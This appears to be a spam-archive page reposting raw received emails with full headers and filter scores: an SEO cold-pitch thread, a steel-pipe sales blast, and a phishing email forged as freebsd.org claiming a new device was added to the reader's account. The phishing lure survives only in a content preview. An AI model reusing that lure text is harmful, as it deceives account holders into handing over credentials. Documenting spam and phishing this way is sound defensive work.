=?us-ascii?Q?34N5ZQf7WMd82fnFj6g3bT+kmdmY/PFik4aZZxx3lkemtWJlTLZfn7qhxoPd?=

=?us-ascii?Q?167Mkqb1Kd1kc3ZdedMg/1s3elm+HBCl6B0D3jlc2y0V/kHWX+JPqT/qDLeD?=

=?us-ascii?Q?UhHE9U1nAbNjNU1T66YpWd/e9dq518hDSQVs/zCi/RNVF3/91lMXcZzcIpoF?=

=?us-ascii?Q?24OePuPxOmx5qMI4jpT7wORG72VhX1UwvdG4tFSdzaYIIa5oqNDpbs4snuPR?=

=?us-ascii?Q?x3vCNYfcRWGwv9sN04z4+2VLl9y2cfJ3gXoQbjP6GwE4LhslrF7Pv+40BTR1?=

=?us-ascii?Q?WUM9/7N7ZAnbcw1CS/x9LJtC9eHeIvpE/7uyks0WjsTCBboRMbNpXJsNYJKX?=

=?us-ascii?Q?j086VmYUIyvKl4eub4NIn7oi0JlyoaS12tLQfQ+KIDSLOPjvwqTfIdqtzFgr?=

=?us-ascii?Q?kcJEghqxwkErJqayDSGOSyzMSQlOYAaZfuYtgQBWbPy/dd6XTkXCI8ryLtLO?=

=?us-ascii?Q?Yr/CQCaZpggFbE0A9BFoRMMVSreQgoUEYtN0GwAoiqE6JY/HqsYzqbXV/cGu?=

=?us-ascii?Q?n81CwIYo+kiuSUPB0Phts6pCgbaU7MphclNyWQfxdxwvajsRhmFN9gYXLEea?=

=?us-ascii?Q?jETg9gXV45u+Wi0H9VZVTkLmJt32P8I0leDfFcZ/EQypdXxRMcHQwNIiBX0R?=

=?us-ascii?Q?LNr/Ymx88dpUQ8aeqGvK+cNwbxQRdr/vc91ZHeuyjfsxabXumeO3fJVh22yG?=

=?us-ascii?Q?GJ5CHyDyJf1xFIiIGrn+83DnjjJQL8v4gqDzaZggF2hoyIyeU7o99+xEhdJj?=

=?us-ascii?Q?NtJUpkM5nQWf5rvrxiBn4lXMtX5iJhi+HCzI2wfdp8mtueBr0nrbJLa3DhZR?=

=?us-ascii?Q?0xBNAaAHPXBgnB0EUGBudsVABQfSfvkzR6EXGz0ty4k+6DjOT0wGfiRNtLEM?=

=?us-ascii?Q?mlyUmskWp4Zz44oS2kaPNgOFvFoXUG46NeHt0LSapbE/5LPsEZf233ma9MgP?=

=?us-ascii?Q?JsbU0owPlohkl1cJmYyhLnwQ1Y2/NDNlQZuGYnTKSEdKgULDjdiePW5c6RGd?=

=?us-ascii?Q?wOzM7E5qvGpBUwNXodmA?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?us-ascii?Q?rIly8KvtLvyFJbiPWBQNSS/AjU+wZohT/FsZJ9ElvmAXjEttyLKMlDYleqan?=

=?us-ascii?Q?4T3aUA9373W5Mh6HotQ7/zIgrEps33PLJkllWVdC5rzri2/BA5e7GsETa4O2?=

=?us-ascii?Q?3Zm1DvAI6B0jCkzOpPLxGPEHZ52quuGLJ48Y427xkumxohQ2jv34o6gMF6if?=

=?us-ascii?Q?0MEnCcjacEDs5+JUcXS7sBU+VAQNUfgzNkpUIFTVp0cjoa/9V9Eozuj6C9ot?=

=?us-ascii?Q?nbn6x9DzteNPAzdFsKou2bOeffgsHX32NeZOMnSD26Loq6cyJvQT3lX9pxN9?=

=?us-ascii?Q?7ieoUgcw5FEeYaR4VSz2Qc/JVWvTw6D1QBqNacYbsoS95QQ2mYia0DbF3GfE?=

=?us-ascii?Q?+YEEI/ctq4E78F158ibrm78giM973FZOEhwbtaehKi4gqOVqSDdlhwZJZlqb?=

=?us-ascii?Q?dmXdrlI09jsws5wmJ/IMFTQm/HlQsETY5726VHVyF2McoKE61eVNU52t2S5H?=

=?us-ascii?Q?wk1c+NCkAY3fCHugN1tsBzX6C5QdNGFZF0hYuJlgNMItdWKuiopcqCM67cWl?=

=?us-ascii?Q?h3vJPWujVsDmIZMj7sI1SzZTRyqE39cADMo/qEZNONqk05ID0QRCo6LeqCkT?=

=?us-ascii?Q?nhwaX+AF0/Y8j7oaggBrO7eun3TcV5GYyRghwA3x5E6gtrMCF0Ld9XA8GEPt?=

=?us-ascii?Q?8ifm13yv/exB4X6Oke7iIWETd8KtcZ9Josj4kZs6NnVsQjzSS4+rKlkOpBDT?=

=?us-ascii?Q?kk8WJ23bHvTxgIBNPpZ2bDPIX1tbhtSLEKVw8C9NCe4U2Ogupi9mtgBnnSRj?=

=?us-ascii?Q?DnjpFyWttqNc2K7wTRRoJqxyjmGkUO0FsuV//94lWVCte4p20BgRoQ/KJJRw?=

=?us-ascii?Q?ZDco43dfowDtPzhy0Ghs652juf+NoxhKLgKf0iGQ+3b7uYG+w7oDphH78y3o?=

=?us-ascii?Q?Ucn7hvQJVvNCVs4RIGjBavuRXQK6t8VPwFofBJmqsuXIUAbHCwZ6UVVczyfE?=

=?us-ascii?Q?dXzOda6I14pogSNIenEAYeQWYdA0qi2I1XHV0xL0IIBxgavn7VY4uPRb7A5Q?=

=?us-ascii?Q?jntCsGEvObwEpoRwc58zmRQMWXsXx9oPXs5WbfVdnhBbmlXMsrTS84B+zrAX?=

=?us-ascii?Q?NwLmTKwy2y2aHlNWPfYXuWf/Jii6vpXqtLj7v0cqiX8Gd+ZmWaOqV18ieQXP?=

=?us-ascii?Q?Mq94pJkhw89QFnAIpZiBNltTLrh6V+cFo31lLc9l6OfeB6eB3sYgncbc6eCz?=

=?us-ascii?Q?wiHcYQoL3c8Rma6ylaGcYOesd6oT5jxVmkmJxRgx1gIDPSi8L+g0NzIzWe4a?=

=?us-ascii?Q?kHlKbP+QX87OV3Bb4R5IxMU836x/EzcCQC36aViyAbNoFBsY8IJSKKvOYfj1?=

=?us-ascii?Q?L1ODFeSYB2DZi2yoc20TAIHm8pFZo4lxoQnK8lztjYHd0JrUsz//zPp1ls2d?=

=?us-ascii?Q?Zpn0GF74bmEWBYFE9ATCze+qXbdcCo/1xI/mdvEK0Y6ER2dBLA=3D=3D?=

Content-Type: multipart/alternative;

boundary="_000_SI2PR04MB47313615F0AD775B7ACA326EEB722SI2PR04MB4731apcp_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: SI2PR04MB4731.apcprd04.prod.outlook.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: de9d733b-1462-4b20-1b44-08df3f1d5190

X-MS-Exchange-CrossTenant-originalarrivaltime: 10 Nov 2026 11:25:26.4890

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYZPR04MB6788



--_000_SI2PR04MB47313615F0AD775B7ACA326EEB722SI2PR04MB4731apcp_

Content-Type: text/plain; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable



Hello,

Would you still be interested in hearing how I could help improve your webs=

ite's Google ranking?



________________________________

From: Harvey Kitelinger

Sent: Friday, November 6, 2026 1:09 PM

Subject: Re: Few Details



Would you mind letting me know if you'd like to hear more about my earlier =

message?



________________________________

From: Harvey Kitelinger

Sent: Thursday, November 5, 2026 8:10 AM

Subject: Re: Few Details



Hello,

Would it be helpful to see the recommendations behind my suggestion?

Thanks,



________________________________

From: Harvey Kitelinger

Sent: Wednesday, November 4, 2026 1:49 PM

Subject: Few Details



Hello,

I noticed that your website may not be making the most of the ways people d=

iscover businesses online, including Google and AI platforms like ChatGPT, =

Claude and Gemini.

Shall I share a few ideas?

Best,





--_000_SI2PR04MB47313615F0AD775B7ACA326EEB722SI2PR04MB4731apcp_

Content-Type: text/html; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable








>








font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri, Helv=

etica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Hello,



font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri, Helv=

etica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Would you still be interested in hearing how I could help improve your webs=

ite's Google ranking?



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">











yle=3D"font-size:11pt" color=3D"#000000">From: Harvey Kitelinger <=

;Harvey.Kitelinger@outlook.com>


Sent: Friday, November 6, 2026 1:09 PM


Subject: Re: Few Details

 









font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helvetica=

,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Would you mind letting me know if you'd like to hear more about my earlier =

message?



nt,Aptos_MSFontService,Calibri,Helvetica,sans-serif; font-size:12pt; color:=

rgb(0,0,0)">











color=3D"#000000" style=3D"font-size:11pt">From: Harvey Kitelinger &=

lt;Harvey.Kitelinger@outlook.com>


Sent: Thursday, November 5, 2026 8:10 AM


Subject: Re: Few Details

 









m; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helveti=

ca,sans-serif; font-size:12pt; color:rgb(102,102,102)">

Hello,



m; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helveti=

ca,sans-serif; font-size:12pt; color:rgb(102,102,102)">

Would it be helpful to see the recommendations behind my suggestion?=




m; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helveti=

ca,sans-serif; font-size:12pt; color:rgb(102,102,102)">

Thanks,



Font,Aptos_MSFontService,Calibri,Helvetica,sans-serif; font-size:12pt; colo=

r:rgb(0,0,0)">











" color=3D"#000000" style=3D"font-size:11pt">From: Harvey Kitelinger=




Sent: Wednesday, November 4, 2026 1:49 PM


Subject: Few Details

 









1em; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helve=

tica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Hello,



1em; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helve=

tica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

I noticed that your website may not be making the most of the ways people d=

iscover businesses online, including Google and AI platforms like ChatGPT, =

Claude and Gemini.



1em; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helve=

tica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Shall I share a few ideas?



1em; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helve=

tica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Best,



edFont,Aptos_MSFontService,Calibri,Helvetica,sans-serif; font-size:12pt; co=

lor:rgb(0,0,0)">


















--_000_SI2PR04MB47313615F0AD775B7ACA326EEB722SI2PR04MB4731apcp_--

Chinese products spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 07:28:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQltc-00000000OXR-3qVq

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 07:28:20 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 07:28:20 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [160.124.75.189] (port=36245 helo=mta75-189.mmglsmd.net)

by doctor.nl2k.ab.ca with essmtp (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQi6g-00000000ENQ-3eax

for root@nk.ca;

Tue, 10 Nov 2026 03:25:36 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;

d=hn.threeway-pipe.com; i=@hn.threeway-pipe.com;

q=dns/txt; s=umail; t=1794302672; h=content-type :

mime-version : message-id : reply-to : subject : from :

to : date : list-unsubscribe : subject : from : date;

bh=wR8hQeolvQYnb4u9wVE+jwZ6V9ZXxmFnnRzOFCS3RZY=;

b=XFqPlq/klvkcmE/9WAkbMPAUGaHyt+vaUp8W0naFadGMapQ3cFbva0O0

Jo9JYbNY5crZDs/y5EBvV+3sA6EJ8MoplxOvL7xrnOSSLOKpLJnE828K4V

vnsd3yINObPAJMeFwjVZ5K2FYygiXiZ4H0BgRQBr1z8FuJhXtGDTQfe7Q=

Received: from helo (unknown [127.0.0.1])

by smtp.hn.threeway-pipe.com (Postfix) with ESMTP id KhBlXAgCiyVP

for ; Tue, 10 Nov 2026 17:13:00 +0800

Content-Type: multipart/mixed; boundary="===============1768781589010434004=="

MIME-Version: 1.0

Message-Id: <20261110171300.93117-{13453:20261110170236-13453-39}-0092902@hn.threeway-pipe.com>

Reply-to: sophia@threewaysteel.com

Subject: =?utf-8?b?UmU6QVBJL1NHUy9JU0/CoENlcnRpZmllZMKgU3RlZWzCoHBpcGVzwqBhbmQ=?=

=?utf-8?b?wqBmaXR0aW5nczs=?=

From: Sophia-Threewaysteel

To: "www.nk.ca"

Date: Tue, 10 Nov 2026 17:13:00 +0800

List-Unsubscribe:

List-Unsubscribe-Post: List-Unsubscribe=One-Click

Mail-ID: 6af2ddecd1fe1c5a7761f93a

X-Spam_score: 11.5

X-Spam_score_int: 115

X-Spam_bar: +++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear Purchasing Manager, Good day !



Content analysis details: (11.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

[160.124.75.189 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.124.75.189 listed in dnsbl.ahbl.org]

[160.124.75.189 listed in dnsbl.ahbl.org]

[160.124.75.189 listed in dnsbl.ahbl.org]

[160.124.75.189 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.124.75.189 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.124.75.189 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.124.75.189 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.124.75.189 listed in dnsbl.ahbl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[160.124.75.189 listed in bl.score.senderscore.com]

1.9 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist

[URI: threeway-pipe.com]

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: hn.threeway-pipe.com]

[URI: count.threeway-pipe.com]

-0.0 SPF_PASS SPF: sender matches SPF record

0.5 NO_RDNS Sending MTA has no reverse DNS (Postfix variant)

3.4 RATWARE_RCVD_PF Bulk email fingerprint (Received PF) found

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?} =?utf-8?b?UmU6QVBJL1NHUy9JU0/CoENlcnRpZmllZMKgU3RlZWzCoHBpcGVzwqBhbmQ=?=

=?utf-8?b?wqBmaXR0aW5nczs=?=







Dear Purchasing Manager,



Good day !



I hope this email finds you well.



This is Sophia from Threeway Steel. With 33 years of history in the steel pipe industry, we have established ourselves as a highly reliable partner for the Oil & Gas, Offshore, and Construction sectors.



To give you a quick background, we are proud to have been a trusted supplier to some of the world's most demanding energy companies, including ADNOC, Shell, Petronas (Malaysia Oil), and Pemex.



Our expertise lies in manufacturing and supplying high-quality pipelines that strictly meet international standards. Recent project examples include:



API 5L Gr. X65 PSL2 Line Pipes for a project in Nigeria.



3PE Coated API 5L X42 PSL2 for Chile.



Yellow Jacket Insulated Line Pipes for Peru.



Large Diameter SSAW & LSAW Pipes for Saudi Arabia and Canada.



Because we have successfully passed the strict audits of companies like Shell and ADNOC, you can rest assured of our quality control and material traceability.



Could you please share if you have any current or upcoming piping requirements? I would be more than happy to provide our latest catalog or a competitive quotation for your project.



Looking forward to hearing from you.





Best regards,

Sophia

THREEWAY STEEL CO.,LTD



Add: Hunan steel Industrial Zone, No 9 Xiangfu Road, Hunan,Changsha, China

Tel: +86-13574889509(direct line) | Fax: +86-731-88678578

Web: www.threewaysteel.com

Email: sophia@threewaysteel.com

Skype: zeng.sophia1 | whatsapp : +86 13544036536



P Please consider the environment before printing this e-mail

mailing list phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 07:27:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQlsb-00000000NED-3Nr4

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 07:27:17 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 07:27:17 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mx2.freebsd.org ([96.47.72.81]:29297)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQflg-00000000NLm-0kgr

for doctor@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 00:55:48 -0600

Received: from mx1.freebsd.org (mx1.freebsd.org [96.47.72.80])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)

key-exchange x25519)

(No client certificate requested)

by mx2.freebsd.org (Postfix) with ESMTPS id 4jNy7r3Dqfz3Qqm

for ; Tue, 10 Nov 2026 06:54:48 +0000 (UTC)

(envelope-from freebsd-questions+bounces-8594-doctor=doctor.nl2k.ab.ca@FreeBSD.org)

Received: from mlmmj.nyi.freebsd.org (mlmmj.nyi.freebsd.org [IPv6:2610:1c1:1:606c::50:24])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)

key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)

(No client certificate requested)

by mx1.freebsd.org (Postfix) with ESMTPS id 4jNy7r1Cv7z3QRB

for ; Tue, 10 Nov 2026 06:54:48 +0000 (UTC)

(envelope-from freebsd-questions+bounces-8594-doctor=doctor.nl2k.ab.ca@FreeBSD.org)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim;

t=1794293688; h=from:from:sender:sender:reply-to:subject:subject:date:date:

message-id:message-id:to:to:cc:mime-version:mime-version:

content-type:content-type:

content-transfer-encoding:content-transfer-encoding:list-id:list-help:

list-owner:list-unsubscribe:list-subscribe:list-post;

bh=iQwqEpbdMzlm/J4JAYqiLj/zhFUEHIw0cxPAF4p0tbA=;

b=MlgVpYI8wg6SKecmfZp9S18mZ1Mf5+nBp3qI5PDVwDgU9D5PvA69S7Cfd3p6CaaDB2S9A8

kSFRFnQ26AhHwvJpDnUxU3hcTsLutu/WNZuKD0l1IIVWK2EYF/38L4FlHs4x/54V9VDI+e

za44ZMklNN8knCrs70nUPcKqBBOv9ZzfV2p9e2LdSNqQG2+X+4OTgs7sNrqaLQ8Z5vxpzH

vO7UjB2Z6q0Nr3g0Q+7110tj9xp80blwOB3kHBzMazY32vaN/zEUiJscZatz3vR3EZh1qZ

h2zLU6Tb8ucLUCtEVwWbypP9zuj2kuP7lHq2NaizQtDK2YbhtufBpeF9iNxePA==

ARC-Seal: i=1; a=rsa-sha256; d=freebsd.org; s=dkim; cv=none; t=1794293688;

b=ZfcxwZwqwldTkWYPNOJnwIUe+QsW8VmdN+/fsJr4ejVwsHqFsPbiQWE/0w4dEtFNXCwho3

oMoO5FIzM+zJENzGz5Ie+O8gJbmCZyE7DWGUbCHpZ8zHj5mse/5CmfYzbi0dAzKcvjnR4w

FpUMvlKDQzFexuB0ivzhUUWvuJeidg9LWqSCgP0V5+upfNbjqmcgZBY2YCc8MXL2oUJAD4

8gCRrpJ02pasxodzxOnTYVUAEdbQ3ietDtSJDH8lBE8eSGn/Z6uJBb2MgEWBwhQRDc35BF

5Hwb6PWNYmMFK6B+CCS/IZNvO+k8nDTqHDhrwLGdbQIFv6Dlf+0qM/TOyPbSig==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org;

s=dkim; t=1794293688;

h=from:from:sender:sender:reply-to:subject:subject:date:date:

message-id:message-id:to:to:cc:mime-version:mime-version:

content-type:content-type:

content-transfer-encoding:content-transfer-encoding:list-id:list-help:

list-owner:list-unsubscribe:list-subscribe:list-post;

bh=iQwqEpbdMzlm/J4JAYqiLj/zhFUEHIw0cxPAF4p0tbA=;

b=QfCkFG3HO2IY8+RtLD7NV4ztO4SYxij/QU/g4zqovGqWwdJKcQ07iN4aUd4X4eKPTJPO1h

meoMwclYr3bNwWfTfbj1f+N/Pl4/C3Ua9Lt99zhw0pbBM8FSpqs2/9kiwQujJu9jio7AYt

MR5118t3GrAJXEEyUJF6UsBpIaxiWuYnaKo+PL00NH2ZmqYJymXiJBp+T1bH3djFq2xk1l

s5jR1glip7rgxRlGTmzBBAsBuS9W8Kfa7ksMP3J+d21b9B2sn4hTkEdjI6DSNTMUMYYSSF

jlsp0Md4a0ZpJxf6jUzmYiD2iRtzojUIDKj+NWhYfIynHtTiRHzjPYjAW5yROQ==

ARC-Authentication-Results: i=1;

mx1.freebsd.org;

dkim=none;

dmarc=fail reason="SPF not aligned (relaxed), No valid DKIM" header.from=freebsd.org (policy=none);

spf=pass (mx1.freebsd.org: domain of info@zh-live-wellbet.com designates 212.86.125.173 as permitted sender) smtp.mailfrom=info@zh-live-wellbet.com

Received: from mlmmj.nyi.freebsd.org (mlmmj.nyi.freebsd.org [IPv6:2610:1c1:1:606c::50:24])

by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4jNy7D6LKlz6xqwc;

Tue, 10 Nov 2026 06:54:16 +0000 (UTC)

(envelope-from freebsd-questions+bounces-8594@FreeBSD.org)

X-Original-To: freebsd-questions@mlmmj.nyi.freebsd.org

Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1])

by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4jNy7C08d2z6xqwZ

for ; Tue, 10 Nov 2026 06:54:15 +0000 (UTC)

(envelope-from info@zh-live-wellbet.com)

Received: from mail.zh-live-wellbet.com (mail.zh-live-wellbet.com [212.86.125.173])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)

key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)

(No client certificate requested)

by mx1.freebsd.org (Postfix) with ESMTPS id 4jNy7B5n9gz3Pf5

for ; Tue, 10 Nov 2026 06:54:14 +0000 (UTC)

(envelope-from info@zh-live-wellbet.com)

Authentication-Results: mx1.freebsd.org;

dkim=none;

dmarc=fail reason="SPF not aligned (relaxed), No valid DKIM" header.from=freebsd.org (policy=none);

spf=pass (mx1.freebsd.org: domain of info@zh-live-wellbet.com designates 212.86.125.173 as permitted sender) smtp.mailfrom=info@zh-live-wellbet.com

X-KumoRef: eyJfQF8iOiJcXF8vIiwicmVjaXBpZW50IjoiZnJlZWJzZC1xdWVzdGlvbnNAZnJlZWJzZC5vcmc

ifQ==

Received: from [94.154.32.81] (::ffff:94.154.32.81)

by mail.zh-live-wellbet.com (KumoMTA ::ffff:212.86.125.173)

with ESMTPSA (TLSv1_3:TLS13_AES_256_GCM_SHA384) id 8a8bd45cdcd311f1af73bc2411dfa1c2 for ;

Tue, 10 Nov 2026 06:54:14 +0000

From: Freebsd

To: freebsd-questions@freebsd.org

Subject: Security alert: A new untrusted device added to your Email account

Date: 9 Nov 2026 22:54:20 -0800

Message-ID: <20261109225420.3BA6DD847D887195@freebsd.org>

List-Archive: https://lists.freebsd.org/archives/freebsd-questions

X-BeenThere: freebsd-questions@freebsd.org

Sender: owner-freebsd-questions@FreeBSD.org

List-Id: User questions

List-Post:

List-Help:

List-Subscribe:

List-Unsubscribe:

List-Owner:

Precedence: list

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Rspamd-Queue-Id: 4jNy7B5n9gz3Pf5

X-Spamd-Bar: +

X-Spamd-Result: default: False [1.55 / 15.00];

R_NO_SPACE_IN_FROM(1.00)[];

FORGED_SENDER(0.30)[no-reply@freebsd.org,info@zh-live-wellbet.com];

MIME_HTML_ONLY(0.20)[];

R_SPF_ALLOW(-0.20)[+a:c];

DMARC_POLICY_SOFTFAIL(0.10)[freebsd.org : SPF not aligned (relaxed), No valid DKIM,none];

ZERO_FONT(0.10)[1];

MANY_INVISIBLE_PARTS(0.05)[1];

RCVD_VIA_SMTP_AUTH(0.00)[];

MIME_TRACE(0.00)[0:~];

RCVD_COUNT_ONE(0.00)[1];

ARC_NA(0.00)[];

MISSING_XM_UA(0.00)[];

ASN(0.00)[asn:43641, ipnet:212.86.125.0/24, country:PL];

MID_RHS_MATCH_FROM(0.00)[];

RCPT_COUNT_ONE(0.00)[1];

TO_DN_NONE(0.00)[];

FROM_NEQ_ENVFROM(0.00)[no-reply@freebsd.org,info@zh-live-wellbet.com];

FROM_HAS_DN(0.00)[];

TO_DOM_EQ_FROM_DOM(0.00)[];

TO_MATCH_ENVRCPT_ALL(0.00)[];

MLMMJ_DEST(0.00)[freebsd-questions@freebsd.org];

PREVIOUSLY_DELIVERED(0.00)[freebsd-questions@freebsd.org];

R_DKIM_NA(0.00)[];

RCVD_TLS_ALL(0.00)[]

X-Spam_score: 7.8

X-Spam_score_int: 78

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: freebsd-questions@freebsd.org A new untrusted device was

added to your email account If this was you, no action is needed. If you don't

recognize this activity, review your devices and secure your account now.

Device Electron on Windows · Frederick Location Frederick, Maryland, US IP

[...]



Content analysis details: (7.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.3 RCVD_IN_DNSWL_MED RBL: Sender listed at http://www.dnswl.org/, medium

trust

[96.47.72.81 listed in list.dnswl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[94.154.32.81 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[212.86.125.173 listed in will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

